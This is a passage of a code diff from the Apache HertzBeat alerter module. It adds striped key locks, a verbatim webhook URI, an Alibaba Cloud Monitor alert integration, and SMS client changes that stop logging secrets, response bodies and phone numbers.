+        Map<String, String> common =
+                firstAttributes == null ? new HashMap<>(0) : new HashMap<>(firstAttributes);
+        for (SingleAlert alert : alerts) {
+            Map<String, String> current = attributes.apply(alert);
+            common.keySet().removeIf(key ->
+                    current == null || !current.containsKey(key)
+                            || !Objects.equals(common.get(key), current.get(key)));
+        }
+        return common;
+    }
+
+    private Map<String, String> extractGroupLabels(
+            Map<String, String> originalGroupLabels,
+            Map<String, String> commonLabels) {
+        Map<String, String> groupLabels = new HashMap<>();
+        if (originalGroupLabels != null) {
+            originalGroupLabels.keySet().forEach(key -> {
+                if (commonLabels.containsKey(key)) {
+                    groupLabels.put(key, commonLabels.get(key));
+                }
+            });
+        }
+        return groupLabels;
+    }
+
+    private String generateGroupKey(Map<String, String> groupLabels) {
+        return groupLabels.entrySet().stream()
+                .sorted(Map.Entry.comparingByKey())
+                .map(entry -> entry.getKey() + ":" + entry.getValue())
+                .collect(Collectors.joining(","));
+    }
+
+    private String determineGroupStatus(List<SingleAlert> alerts) {
+        return alerts.stream().anyMatch(alert ->
+                CommonConstants.ALERT_STATUS_FIRING.equals(alert.getStatus()))
+                ? CommonConstants.ALERT_STATUS_FIRING : CommonConstants.ALERT_STATUS_RESOLVED;
+    }
+
+    private LocalDateTime firstTime(
+            List<SingleAlert> alerts,
+            Function<SingleAlert, LocalDateTime> time,
+            LocalDateTime fallback) {
+        return alerts.stream().map(time).filter(Objects::nonNull)
+                .min(LocalDateTime::compareTo).orElse(fallback);
+    }
+
+    private LocalDateTime lastTime(
+            List<SingleAlert> alerts,
+            Function<SingleAlert, LocalDateTime> time,
+            LocalDateTime fallback) {
+        return alerts.stream().map(time).filter(Objects::nonNull)
+                .max(LocalDateTime::compareTo).orElse(fallback);
+    }
 }

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/notice/impl/DbAlertStoreHandlerImpl.java

@@ -42,6 +42,10 @@ import org.springframework.stereotype.Component;
 @Slf4j
 final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
 
+    static final int LOCK_STRIPE_COUNT = 256;
+
+    private static final Object[] KEY_LOCKS = createKeyLocks();
+
     private final GroupAlertDao groupAlertDao;
     
     private final SingleAlertDao singleAlertDao;
@@ -58,7 +62,7 @@ final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
         List<SingleAlert> newAlerts = new ArrayList<>();
 
         for (SingleAlert singleAlert : originalAlerts) {
-            synchronized (singleAlert.getFingerprint().intern()) {
+            synchronized (lockFor(singleAlert.getFingerprint())) {
                 SingleAlert existAlert = singleAlertDao.findByFingerprint(singleAlert.getFingerprint());
                 if (existAlert != null) {
                     // Update the existing alert with the ID and creation time from the database
@@ -90,7 +94,7 @@ final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
         }
         groupAlert.setAlerts(newAlerts);
         // Find existing alert group
-        synchronized (groupAlert.getGroupKey().intern()) {
+        synchronized (lockFor(groupAlert.getGroupKey())) {
             GroupAlert existGroupAlert = groupAlertDao.findByGroupKey(groupAlert.getGroupKey());
             // Process resolved alerts
             if (existGroupAlert != null) {
@@ -132,4 +136,16 @@ final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
             return savedGroupAlert;
         }
     }
+
+    static Object lockFor(String key) {
+        return KEY_LOCKS[Math.floorMod(key.hashCode(), LOCK_STRIPE_COUNT)];
+    }
+
+    private static Object[] createKeyLocks() {
+        Object[] locks = new Object[LOCK_STRIPE_COUNT];
+        for (int index = 0; index < locks.length; index++) {
+            locks[index] = new Object();
+        }
+        return locks;
+    }
 }

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/notice/impl/WebHookAlertNotifyHandlerImpl.java

@@ -17,6 +17,7 @@
 
 package org.apache.hertzbeat.alert.notice.impl;
 
+import java.net.URI;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.hertzbeat.alert.notice.AlertNoticeException;
@@ -47,6 +48,15 @@ final class WebHookAlertNotifyHandlerImpl extends AbstractAlertNotifyHandlerImpl
                 throw new AlertNoticeException("Webhook URL is null or empty");
             }
 
+            // Send the URL verbatim via the URI overload: the String overload treats it
+            // as a URI template and re-encodes it, corrupting pre-encoded query params
+            URI hookUri;
+            try {
+                hookUri = URI.create(hookUrl);
+            } catch (IllegalArgumentException e) {
+                throw new AlertNoticeException("Invalid webhook URL: " + e.getMessage());
+            }
+
             HttpHeaders headers = new HttpHeaders();
             if ("Basic".equalsIgnoreCase(receiver.getHookAuthType())) {
                 headers.setBasicAuth(receiver.getHookAuthToken());
@@ -59,7 +69,7 @@ final class WebHookAlertNotifyHandlerImpl extends AbstractAlertNotifyHandlerImpl
             webhookJson = webhookJson.replace(",\n  }", "\n }");
 
             HttpEntity<String> alertHttpEntity = new HttpEntity<>(webhookJson, headers);
-            ResponseEntity<String> entity = restTemplate.postForEntity(hookUrl, alertHttpEntity, String.class);
+            ResponseEntity<String> entity = restTemplate.postForEntity(hookUri, alertHttpEntity, String.class);
             if (entity.getStatusCode().value() < HttpStatus.BAD_REQUEST.value()) {
                 log.debug("Send WebHook: {} Success", hookUrl);
             } else {

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/AlertDefineExcelImExportServiceImpl.java

@@ -155,6 +155,7 @@ public class AlertDefineExcelImExportServiceImpl extends AlertDefineAbstractImEx
         alertDefineDTO.setAnnotations(JsonUtil.fromJson(getCellValueAsString(row.getCell(6)), typeReference));
         alertDefineDTO.setTemplate(getCellValueAsString(row.getCell(7)));
         alertDefineDTO.setEnable(getCellValueAsBoolean(row.getCell(8)));
+        alertDefineDTO.setDatasource(getCellValueAsString(row.getCell(9)));
         return alertDefineDTO;
     }
 
@@ -186,7 +187,7 @@ public class AlertDefineExcelImExportServiceImpl extends AlertDefineAbstractImEx
             CellStyle cellStyle = workbook.createCellStyle();
             cellStyle.setAlignment(HorizontalAlignment.CENTER);
             // set header
-            String[] headers = {"Name", "Type", "Expr", "Period", "Times", "Labels", "Annotations", "Template", "Enable"};
+            String[] headers = {"Name", "Type", "Expr", "Period", "Times", "Labels", "Annotations", "Template", "Enable", "Datasource"};
             Row headerRow = sheet.createRow(0);
             for (int i = 0; i < headers.length; i++) {
                 Cell cell = headerRow.createCell(i);
@@ -227,6 +228,9 @@ public class AlertDefineExcelImExportServiceImpl extends AlertDefineAbstractImEx
                 Cell enableCell = row.createCell(8);
                 enableCell.setCellValue(alertDefineDTO.getEnable());
                 enableCell.setCellStyle(cellStyle);
+                Cell datasourceCell = row.createCell(9);
+                datasourceCell.setCellValue(alertDefineDTO.getDatasource());
+                datasourceCell.setCellStyle(cellStyle);
             }
             workbook.write(os);
             os.close();

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/AlibabaCloudCmsExternAlertService.java

@@ -0,0 +1,195 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.service.impl;
+
+import java.time.Instant;
+import java.time.format.DateTimeParseException;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.hertzbeat.alert.dto.AlibabaCloudCmsExternAlert;
+import org.apache.hertzbeat.alert.reduce.AlarmCommonReduce;
+import org.apache.hertzbeat.alert.service.ExternAlertService;
+import org.apache.hertzbeat.common.constants.CommonConstants;
+import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
+import org.apache.hertzbeat.common.util.JsonUtil;
+import org.springframework.stereotype.Service;
+
+/**
+ * Alibaba Cloud Monitor 2.0 external alert service.
+ */
+@Slf4j
+@Service
+public class AlibabaCloudCmsExternAlertService implements ExternAlertService {
+
+    private static final String SOURCE = "alibabacloud-cms";
+
+    private final AlarmCommonReduce alarmCommonReduce;
+
+    public AlibabaCloudCmsExternAlertService(AlarmCommonReduce alarmCommonReduce) {
+        this.alarmCommonReduce = alarmCommonReduce;
+    }
+
+    @Override
+    public void addExternAlert(String content) {
+        AlibabaCloudCmsExternAlert externAlert = JsonUtil.fromJson(content, AlibabaCloudCmsExternAlert.class);
+        if (externAlert == null || StringUtils.isBlank(externAlert.getStatus())) {
+            log.warn("Failed to parse Alibaba Cloud Monitor external alert content: {}", content);
+            return;
+        }
+        alarmCommonReduce.reduceAndSendAlarm(convert(externAlert));
+    }
+
+    @Override
+    public String supportSource() {
+        return SOURCE;
+    }
+
+    private SingleAlert convert(AlibabaCloudCmsExternAlert externAlert) {
+        boolean resolved = isResolved(externAlert);
+        long eventTime = getEventTime(externAlert);
+        return SingleAlert.builder()
+                .content(getAlertContent(externAlert))
+                .status(resolved ? CommonConstants.ALERT_STATUS_RESOLVED : CommonConstants.ALERT_STATUS_FIRING)
+                .startAt(eventTime)
+                .activeAt(resolved ? null : eventTime)
+                .endAt(resolved ? eventTime : null)
+                .labels(buildLabels(externAlert))
+                .annotations(buildAnnotations(externAlert))
+                .triggerTimes(1)
+                .build();
+    }
+
+    private boolean isResolved(AlibabaCloudCmsExternAlert externAlert) {
+        return "RESOLVED".equalsIgnoreCase(externAlert.getStatus())
+                || "RECOVERED".equalsIgnoreCase(externAlert.getStatus())
+                || "NORMAL_RESOLVE".equalsIgnoreCase(externAlert.getSubtype());
+    }
+
+    private long getEventTime(AlibabaCloudCmsExternAlert externAlert) {
+        if (externAlert.getTimestamp() != null && externAlert.getTimestamp() > 0) {
+            return externAlert.getTimestamp();
+        }
+        if (StringUtils.isNotBlank(externAlert.getTime())) {
+            try {
+                return Instant.parse(externAlert.getTime()).toEpochMilli();
+            } catch (DateTimeParseException e) {
+                log.warn("Failed to parse Alibaba Cloud Monitor event time: {}", externAlert.getTime());
+            }
+        }
+        return Instant.now().toEpochMilli();
+    }
+
+    private Map<String, String> buildLabels(AlibabaCloudCmsExternAlert externAlert) {
+        Map<String, String> labels = new HashMap<>(16);
+        putValues(labels, externAlert.getLabels());
+        AlibabaCloudCmsExternAlert.Resource resource = externAlert.getResource();
+        if (resource != null) {
+            putValues(labels, resource.getTags());
+            AlibabaCloudCmsExternAlert.Entity entity = resource.getEntity();
+            if (entity != null) {
+                putIfNotBlank(labels, "resourceDomain", entity.getDomain());
+                putIfNotBlank(labels, "resourceType", entity.getEntityType());
+                putIfNotBlank(labels, "resourceId", entity.getEntityId());
+            }
+        }
+        labels.put("__source__", SOURCE);
+        putIfNotBlank(labels, CommonConstants.LABEL_ALERT_NAME, externAlert.getSubject());
+        putIfNotBlank(labels, CommonConstants.LABEL_ALERT_SEVERITY, convertSeverity(externAlert.getSeverity()));
+        putIfNotBlank(labels, "ruleId", externAlert.getRuleId());
+        putIfNotBlank(labels, "workspace", externAlert.getWorkspace());
+        putIfNotBlank(labels, "alertEntityId", externAlert.getAlertEntityId());
+        putIfNotBlank(labels, "userId", externAlert.getUserId());
+        return labels;
+    }
+
+    private Map<String, String> buildAnnotations(AlibabaCloudCmsExternAlert externAlert) {
+        Map<String, String> annotations = new HashMap<>(16);
+        putValues(annotations, externAlert.getAnnotations());
+        AlibabaCloudCmsExternAlert.Resource resource = externAlert.getResource();
+        if (resource != null && resource.getEntity() != null) {
+            putValues(annotations, resource.getEntity().getProp());
+        }
+        putValues(annotations, externAlert.getAlertEntityFields());
+        AlibabaCloudCmsExternAlert.AlertData data = externAlert.getData();
+        if (data != null) {
+            putValue(annotations, "value", data.getValue());
+            putValue(annotations, "threshold", data.getThreshold());
+            putIfNotBlank(annotations, "comparisonOperator", data.getComparisonOperator());
+        }
+        putIfNotBlank(annotations, "alertMessage", externAlert.getAlertMessage());
+        putIfNotBlank(annotations, "traceId", externAlert.getTraceId());
+        putIfNotBlank(annotations, "ruleUrl", externAlert.getRuleUrl());
+        putIfNotBlank(annotations, "entityUrl", externAlert.getEntityUrl());
+        putIfNotBlank(annotations, "alertRuleUrl", externAlert.getAlertRuleUrl());
+        putIfNotBlank(annotations, "alertHistoryUrl", externAlert.getAlertHistoryUrl());
+        return annotations;
+    }
+
+    private String getAlertContent(AlibabaCloudCmsExternAlert externAlert) {
+        if (StringUtils.isNotBlank(externAlert.getAlertMessage())) {
+            return externAlert.getAlertMessage();
+        }
+        if (StringUtils.isNotBlank(externAlert.getSubject())) {
+            return externAlert.getSubject();
+        }
+        return "Alibaba Cloud Monitor alert";
+    }
+
+    private String convertSeverity(String severity) {
+        if (StringUtils.isBlank(severity)) {
+            return null;
+        }
+        return switch (severity.toUpperCase(Locale.ROOT)) {
+            case "EMERGENCY" -> CommonConstants.ALERT_SEVERITY_EMERGENCY;
+            case "CRITICAL" -> CommonConstants.ALERT_SEVERITY_CRITICAL;
+            case "WARN", "WARNING" -> CommonConstants.ALERT_SEVERITY_WARNING;
+            case "INFO", "INFORMATIONAL" -> CommonConstants.ALERT_SEVERITY_INFO;
+            default -> severity.toLowerCase(Locale.ROOT);
+        };
+    }
+
+    private void putValues(Map<String, String> target, Map<String, Object> values) {
+        if (values == null || values.isEmpty()) {
+            return;
+        }
+        values.forEach((key, value) -> putValue(target, key, value));
+    }
+
+    private void putValue(Map<String, String> target, String key, Object value) {
+        if (StringUtils.isBlank(key) || value == null) {
+            return;
+        }
+        String stringValue;
+        if (value instanceof Map<?, ?> || value instanceof Collection<?>) {
+            stringValue = JsonUtil.toJson(value);
+        } else {
+            stringValue = String.valueOf(value);
+        }
+        putIfNotBlank(target, key, stringValue);
+    }
+
+    private void putIfNotBlank(Map<String, String> target, String key, String value) {
+        if (StringUtils.isNotBlank(value)) {
+            target.put(key, value);
+        }
+    }
+}

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/AlibabaSmsClientImpl.java

@@ -26,18 +26,14 @@ import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
 import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
 import org.apache.hertzbeat.common.support.exception.SendMessageException;
 import org.apache.hertzbeat.common.util.JsonUtil;
-import org.apache.hertzbeat.common.util.LogUtil;
 import org.apache.http.client.methods.CloseableHttpResponse;
 import org.apache.http.client.methods.HttpPost;
 import org.apache.http.impl.client.CloseableHttpClient;
 import org.apache.http.impl.client.HttpClients;
 import org.apache.http.util.EntityUtils;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
 
 import java.nio.charset.StandardCharsets;
 import java.text.SimpleDateFormat;
-import java.util.Arrays;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
@@ -65,7 +61,6 @@ public class AlibabaSmsClientImpl implements SmsClient {
     private final String accessKeySecret;
     private final String signName;
     private final String templateCode;
-    private static final Logger logger = LoggerFactory.getLogger(AlibabaSmsClientImpl.class);
 
     public AlibabaSmsClientImpl(AlibabaSmsProperties config) {
         if (config != null) {
@@ -154,31 +149,37 @@ public class AlibabaSmsClientImpl implements SmsClient {
             httpPost.setHeader("x-acs-content-sha256",
                     CryptoUtils.sha256Hex(""));
 
-            log.info("Sending Alibaba SMS request to {}", url + ", params: " + templateParam + "headers: " + Arrays.toString(httpPost.getAllHeaders()));
+            log.debug("Sending SMS request via Alibaba Cloud");
 
             // Send request and handle response
             try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
                 int statusCode = response.getStatusLine().getStatusCode();
                 String responseBody = EntityUtils.toString(response.getEntity());
 
-                log.info("SMS response status: {}, body: {}", statusCode, responseBody);
+                log.debug("Alibaba Cloud SMS response status: {}", statusCode);
 
                 if (statusCode != 200) {
-                    throw new SendMessageException("HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
+                    throw SmsFailureMessages.httpStatus("Alibaba Cloud SMS", statusCode);
                 }
 
                 JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
+                if (jsonResponse == null || jsonResponse.get("Code") == null) {
+                    throw SmsFailureMessages.invalidResponse("Alibaba Cloud SMS");
+                }
                 String code = jsonResponse.get("Code").asText();
                 if (!"OK".equals(code)) {
-                    String message = jsonResponse.get("Message").asText();
-                    throw new SendMessageException(code + ":" + message);
+                    throw SmsFailureMessages.providerCode("Alibaba Cloud SMS", code);
                 }
 
-                log.info("Successfully sent SMS to phone: {}", phoneNumber);
+                log.info("Successfully sent SMS via Alibaba Cloud");
             }
+        } catch (SendMessageException e) {
+            log.warn("Failed to send SMS via Alibaba Cloud");
+            throw e;
         } catch (Exception e) {
-            LogUtil.warn(logger, "Failed to send SMS: {0}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to send SMS via Alibaba Cloud, failure type: {}",
+                    e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("Alibaba Cloud SMS");
         }
     }
 
@@ -196,7 +197,8 @@ public class AlibabaSmsClientImpl implements SmsClient {
             // Step 4: Build authorization header
             return ALGORITHM + " Credential=" + accessKeyId + ",SignedHeaders=host;x-acs-action;x-acs-content-sha256;x-acs-date;" + "x-acs-signature-nonce;x-acs-version,Signature=" + signature;
         } catch (Exception e) {
-            LogUtil.warn(logger, "Failed to calculate authorization {0}", e.getMessage());
+            log.warn("Failed to calculate Alibaba Cloud authorization, failure type: {}",
+                    e.getClass().getSimpleName());
             throw new RuntimeException("Failed to calculate authorization", e);
         }
     }

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/AwsSmsClientImpl.java

@@ -40,7 +40,6 @@ import java.nio.charset.StandardCharsets;
 import java.time.Instant;
 import java.time.ZoneOffset;
 import java.time.format.DateTimeFormatter;
-import java.util.Arrays;
 import java.util.HashMap;
 import java.util.LinkedHashMap;
 import java.util.Map;
@@ -116,11 +115,14 @@ public class AwsSmsClientImpl implements SmsClient {
             URI requestUri = new URI(endpoint);
 
             HttpPost httpPost = createHttpPost(requestUri, amzDate, payloadInString);
-            log.info("Sending AWS SMS request to {}", requestUri + "," + "headers: " + Arrays.toString(httpPost.getAllHeaders()));
-            executeRequest(httpClient, httpPost, phoneNumber);
+            log.debug("Sending SMS request via AWS");
+            executeRequest(httpClient, httpPost);
+        } catch (SendMessageException e) {
+            log.warn("Failed to send SMS via AWS");
+            throw e;
         } catch (Exception e) {
-            log.warn("Failed to send SMS: {}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to send SMS via AWS, failure type: {}", e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("AWS SMS");
         }
     }
 
@@ -149,28 +151,27 @@ public class AwsSmsClientImpl implements SmsClient {
         return httpPost;
     }
 
-    private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost, String phoneNumber) throws Exception {
+    private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost) throws Exception {
         try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
             int statusCode = response.getStatusLine().getStatusCode();
             String responseBody = EntityUtils.toString(response.getEntity());
-            log.info("SMS response status: {}, body: {}", statusCode, responseBody);
+            log.debug("AWS SMS response status: {}", statusCode);
 
             if (statusCode != 200) {
-                throw new SendMessageException("HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
+                throw SmsFailureMessages.httpStatus("AWS SMS", statusCode);
             }
 
             JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
             if (jsonResponse == null) {
-                throw new SendMessageException(statusCode + ":" + responseBody);
+                throw SmsFailureMessages.invalidResponse("AWS SMS");
             }
 
             JsonNode responseNode = jsonResponse.get("MessageId");
             if (responseNode == null) {
-                throw new SendMessageException(statusCode + ":" + responseBody);
+                throw SmsFailureMessages.invalidResponse("AWS SMS");
             }
 
-            String messageId = responseNode.asText();
-            log.info("Successfully sent SMS to phone: {}, messageId: {}", phoneNumber, messageId);
+            log.info("Successfully sent SMS via AWS");
         }
     }
 
@@ -285,5 +286,3 @@ public class AwsSmsClientImpl implements SmsClient {
 
     }
 }
-
-

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/NoticeConfigServiceImpl.java

@@ -190,13 +190,28 @@ public class NoticeConfigServiceImpl implements NoticeConfigService, CommandLine
      *                                  be resolved, and saving would persist the placeholder
      */
     private void resolveMaskedSecrets(NoticeReceiver noticeReceiver) {
+        resolveMaskedSecrets(noticeReceiver, false);
+    }
+
+    /**
+     * Bind stored secrets to their original notification type and destination for test messages.
+     */
+    private void resolveMaskedSecretsForTest(NoticeReceiver noticeReceiver) {
+        resolveMaskedSecrets(noticeReceiver, true);
+    }
+
+    private void resolveMaskedSecrets(NoticeReceiver noticeReceiver, boolean testMessage) {
         if (noticeReceiver == null || noticeReceiver.getId() == null) {
             return;
         }
         NoticeReceiver existing = noticeReceiverDao.findById(noticeReceiver.getId())
                 .orElseThrow(() -> new IllegalArgumentException(
                         "The receiver with id " + noticeReceiver.getId() + " does not exist."));
-        NoticeReceiverMaskUtil.resolveMask(noticeReceiver, existing);
+        if (testMessage) {
+            NoticeReceiverMaskUtil.resolveMaskForTest(noticeReceiver, existing);
+        } else {
+            NoticeReceiverMaskUtil.resolveMask(noticeReceiver, existing);
+        }
     }
 
     @Override
@@ -231,11 +246,7 @@ public class NoticeConfigServiceImpl implements NoticeConfigService, CommandLine
             CacheFactory.setNoticeCache(rules);
         }
 
-        // The temporary rule is to forward all, and then implement more matching rules: alarm status selection, monitoring type selection, etc.
-        // TODO: This matches an already-grouped alert against notice rules (group-then-route). It cannot fully
-        //  separate alerts that were grouped together but should reach different receivers, so a rule matched by
-        //  one alert still notifies the whole group. The ideal design is route-then-group (like Alertmanager):
-        //  route each single alert by its labels first, then group per receiver. Tracked as a follow-up to #3852.
+        // Match grouped alerts here; dispatch scopes each notification to the single alerts matching its rule.
         return rules.stream()
             .filter(rule -> {
                 if (!rule.isFilterAll()) {
@@ -339,7 +350,7 @@ public class NoticeConfigServiceImpl implements NoticeConfigService, CommandLine
 
     @Override
     public boolean sendTestMsg(NoticeReceiver noticeReceiver) {
-        resolveMaskedSecrets(noticeReceiver);
+        resolveMaskedSecretsForTest(noticeReceiver);
         Map<String, String> labels = new HashMap<>(8);
         labels.put(CommonConstants.LABEL_INSTANCE, "127.0.0.1");
         labels.put(CommonConstants.LABEL_ALERT_NAME, "CPU Usage Alert");

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/SmsFailureMessages.java

@@ -0,0 +1,55 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.service.impl;
+
+import java.util.regex.Pattern;
+import org.apache.hertzbeat.common.support.exception.SendMessageException;
+
+/**
+ * Builds bounded SMS failures without copying provider-controlled response
+ * bodies, request URLs, or transport exception messages.
+ */
+final class SmsFailureMessages {
+
+    private static final Pattern SAFE_PROVIDER_CODE = Pattern.compile("[-A-Za-z0-9_.]{1,64}");
+    private static final String UNKNOWN_PROVIDER_CODE = "UNKNOWN_PROVIDER_ERROR";
+
+    private SmsFailureMessages() {
+    }
+
+    static SendMessageException requestFailed(String providerLabel) {
+        return new SendMessageException(providerLabel + " request failed");
+    }
+
+    static SendMessageException httpStatus(String providerLabel, int statusCode) {
+        return new SendMessageException(
+                providerLabel + " request failed with HTTP status " + statusCode);
+    }
+
+    static SendMessageException providerCode(String providerLabel, String code) {
+        String safeCode = code != null && SAFE_PROVIDER_CODE.matcher(code).matches()
+                ? code
+                : UNKNOWN_PROVIDER_CODE;
+        return new SendMessageException(
+                providerLabel + " request failed (code: " + safeCode + ")");
+    }
+
+    static SendMessageException invalidResponse(String providerLabel) {
+        return new SendMessageException(providerLabel + " provider returned an invalid response");
+    }
+}

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/SmsLocalSmsClientImpl.java

@@ -61,7 +61,7 @@ public class SmsLocalSmsClientImpl implements SmsClient {
     @Override
     public void sendMessage(NoticeReceiver receiver, NoticeTemplate noticeTemplate, GroupAlert alert) {
         if (Objects.isNull(receiver) || Objects.isNull(alert)) {
-            log.warn("receiver and alert can not be null! receiver: {}, alert:{}", receiver, alert);
+            log.warn("SMSLocal receiver and alert cannot be null");
             return;
         }
 
@@ -79,36 +79,42 @@ public class SmsLocalSmsClientImpl implements SmsClient {
             httpPost.setHeader("Token", config.getApiKey());
             httpPost.setEntity(new StringEntity(payload, StandardCharsets.UTF_8));
 
-            log.debug("Sending SMS request to {}, payload: {}", httpPost.getURI(), payload);
+            log.debug("Sending SMS request via SMSLocal");
 
             // send http request and handle response
             try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
                 int statusCode = response.getStatusLine().getStatusCode();
                 String responseBody = EntityUtils.toString(response.getEntity());
 
-                log.debug("SMS response status: {}, body: {}", statusCode, responseBody);
+                log.debug("SMSLocal response status: {}", statusCode);
 
                 if (statusCode != 200) {
-                    throw new SendMessageException("HTTP request failed with status code: " + statusCode);
+                    throw SmsFailureMessages.httpStatus("SMSLocal", statusCode);
                 }
 
                 JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
-                JsonNode jsonNode = jsonResponse.get(0);
-                if (Objects.isNull(jsonNode)) {
-                    log.warn("jsonResponse parse errorCode failed: {}", jsonResponse);
-                    return;
+                if (jsonResponse == null || !jsonResponse.isArray() || jsonResponse.isEmpty()) {
+                    throw SmsFailureMessages.invalidResponse("SMSLocal");
                 }
-                String errorCode = jsonNode.get("errorCode").asText();
+                JsonNode jsonNode = jsonResponse.get(0);
+                JsonNode errorCodeNode = jsonNode.get("errorCode");
+                if (errorCodeNode == null) {
+                    throw SmsFailureMessages.invalidResponse("SMSLocal");
+                }
+                String errorCode = errorCodeNode.asText();
                 if (!SUCCESS_CODE.equals(errorCode)) {
-                    String msgid = jsonNode.get("id").asText();
-                    throw new SendMessageException(errorCode + ":" + msgid);
+                    throw SmsFailureMessages.providerCode("SMSLocal", errorCode);
                 }
 
-                log.info("Successfully sent SMS to phone: {}", receiver.getPhone());
+                log.info("Successfully sent SMS via SMSLocal");
             }
+        } catch (SendMessageException e) {
+            log.warn("Failed to send SMS via SMSLocal");
+            throw e;
         } catch (Exception e) {
-            log.error("Failed to send SMS: {}", e.getMessage());
-            throw new SendMessageException(e.getMessage());
+            log.warn("Failed to send SMS via SMSLocal, failure type: {}",
+                    e.getClass().getSimpleName());
+            throw SmsFailureMessages.requestFailed("SMSLocal");
         }
 
     }
@@ -121,7 +127,7 @@ public class SmsLocalSmsClientImpl implements SmsClient {
     @Override
     public boolean checkConfig() {
         if (Objects.isNull(config) || Objects.isNull(config.getApiKey()) || config.getApiKey().isBlank()) {
-            log.warn("smslocal properties can not be null: {}", config);
+            log.warn("SMSLocal properties cannot be null or blank");
             return false;
         }
         return true;

hertzbeat-alerter/src/main/java/org/apache/hertzbeat/alert/service/impl/TencentSmsClientImpl.java

@@ -134,41 +134,56 @@ public class TencentSmsClientImpl implements SmsClient {
             httpPost.setHeader("Authorization", authorization);
             httpPost.setEntity(new StringEntity(payload, StandardCharsets.UTF_8));
 
-            log.debug("Sending SMS request to {}, payload: {}", httpPost.getURI(), payload);
+            log.debug("Sending SMS request via Tencent Cloud");
 
             // send http request and handle response
             try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
                 int statusCode = response.getStatusLine().getStatusCode();
                 String responseBody = EntityUtils.toString(response.getEntity());
 
-                log.debug("SMS response status: {}, body: {}", statusCode, responseBody);
+                log.debug("Tencent Cloud SMS response status: {}", statusCode);
 
                 if (statusCode != 200) {
-                    throw new SendMessageException("HTTP request failed with status code: " + statusCode);
+                    throw SmsFailureMessages.httpStatus("Tencent Cloud SMS", statusCode);
                 }
 
                 JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
+                if (jsonResponse == null) {
+                    throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
+                }
                 JsonNode responseNode = jsonResponse.get("Response");
+                if (responseNode == null) {
+                    throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
+                }
                 JsonNode error = responseNode.get("Error");
                 if (error != null) {
-                    String code = error.get("Code").asText();
-                    String message = error.get("Message").asText();
-                    throw new SendMessageException(code + ":" + message);
+                    JsonNode codeNode = error.get("Code");
+                    if (codeNode == null) {
+                        throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
+                    }
+                    throw SmsFailureMessages.providerCode("Tencent Cloud SMS", codeNode.asText());
                 }
                 JsonNode sendStatusSet = responseNode.get("SendStatusSet");
-                if (sendStatusSet != null && sendStatusSet.isArray() && sendStatusSet.size() > 0) {
-                    JsonNode firstStatus = sendStatusSet.get(0);
-                    String code = firstStatus.get("Code").asText();
-                    String message = firstStatus.get("Message").asText();
-                    if (!RESPONSE_OK.equals(code)) {
-                        throw new SendMessageException(code + ":" + message);
-                    }
+                if (sendStatusSet == null || !sendStatusSet.isArray() || sendStatusSet.isEmpty()) {
+                    throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
                 }
-                log.info("Successfully sent SMS to phones: {}", String.join(",", phones));
